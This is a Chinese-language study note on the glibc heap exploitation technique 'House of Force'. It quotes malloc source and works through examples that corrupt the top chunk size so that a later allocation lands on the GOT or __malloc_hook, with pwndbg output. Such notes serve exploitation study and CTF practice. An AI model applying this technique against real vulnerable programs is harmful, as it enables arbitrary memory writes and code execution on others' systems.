House of Force

似乎只能在2.23和2.27上成功

利用方法就是控制topchunksize为一个很大的值,一般为-1,申请一个堆使topchunk指向目标地址,下一次就可以申请出来目标地址

下面都按照64位来分析,其余bin里没有chunk是会从topchunk切割

#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))
victim = av->top;//获取当前top chunk的地址
size = chunksize(victim);//top chunk的大小
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))//nb是申请的大小+chunkhead 0x10,MINSIZE就是堆块的最小size,32位程序为0x10,64位程序为0x20
{ //主要是为了topchunk切割后剩余可以够完整一个堆块
remainder_size = size - nb;//切割后的topchunk大小
remainder = chunk_at_offset(victim, nb);//
av->top = remainder;//更新top chunk指针,下次申请的位置
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);//切割后的top chunk设置新的size,这句会改写目标地址上面的值

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

所以我们要计算第一次malloc的大小malloc_size从而使topchunk指向目标地址target-0x10,因为会有个chunkhead嘛

target-0x10=remainder=chunk_at_offset(victim, nb)=victim+nb=victim+mallocsize+0x10

所以mallocsize=target-0x20-victim

void *__libc_malloc(size_t bytes) mallocsize会变为无符号,会经过下面的checked_request2size函数处理返回真正申请的size

#define checked_request2size(req, sz) \req是我们malloc参数的size,sz是经过处理后的size
({ \
(sz) = request2size (req); \
if (((sz) < (req)) \
|| REQUEST_OUT_OF_RANGE (sz)) \
{ \
__set_errno (ENOMEM); \
return 0; \
} \
})
#define MINSIZE  \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize))
#define INTERNAL_SIZE_T size_t
#define SIZE_SZ (sizeof(INTERNAL_SIZE_T))
#define MALLOC_ALIGNMENT (2 *SIZE_SZ)
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= \
(unsigned long) (INTERNAL_SIZE_T) (-2 * MINSIZE))
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

REQUEST_OUT_OF_RANGE要求malloc大小不得大于-2 * MINSIZE,一般满足

request2size要求((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)>=req,基本上都满足,但是会影响我们的申请大小,这就需要req+SIZE_SZ最后四个bit为0,也就是req后面尽量为0x8才会不改变大小

Wiki例子

指针减小来修改topchunk上面的内容

int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff
malloc(-4120); // <=== 减小top chunk指针
malloc(0x10); // <=== 分配块实现任意地址写
}
Top chunk | PREV_INUSE
Addr: 0x602020
Size: 0x20fe1

pwndbg> got

/mnt/hgfs/share/how2heap/glibc_2.23/a.out: file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000601018 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT malloc@GLIBC_2.2.5

这里着重说下-4120,原本要申请的size为mallocsize=target-0x20-victim=0x00000000601020-0x20-0x602020=FFFFFFFFFFFFEFE0=-4128

但是不满足req后面尽量为0x8的条件,所以加了8变为FFFFFFFFFFFFEFE8=-4120

malloc(-4120);后下一次就可以申请got

image-20230803143306102

got上面的值会被改写为大小

image-20230803143531195

指针增大来修改topchunk下面的内容

int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; //<=== 修改top chunk size
malloc(140737345551056); //<=== 增大top chunk指针
malloc(0x10);
}
Top chunk | PREV_INUSE
Addr: 0x602020
Size: 0x20fe1

pwndbg> p &__malloc_hook
$1 = (void *(**)(size_t, const void *)) 0x7ffff7dd1b10 <__malloc_hook>

140737345551056是从mallocsize=target-0x20-victim=0x7ffff7dd1b10-0x20-0x602020